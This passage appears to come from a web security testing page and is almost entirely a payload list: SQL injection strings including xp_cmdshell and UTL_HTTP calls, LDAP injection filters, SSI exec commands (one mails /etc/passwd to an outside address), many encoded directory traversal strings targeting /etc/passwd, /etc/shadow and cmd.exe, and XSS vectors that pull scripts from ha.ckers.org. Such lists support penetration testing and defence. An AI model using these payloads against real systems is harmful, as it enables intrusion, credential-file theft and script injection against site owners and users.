delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; 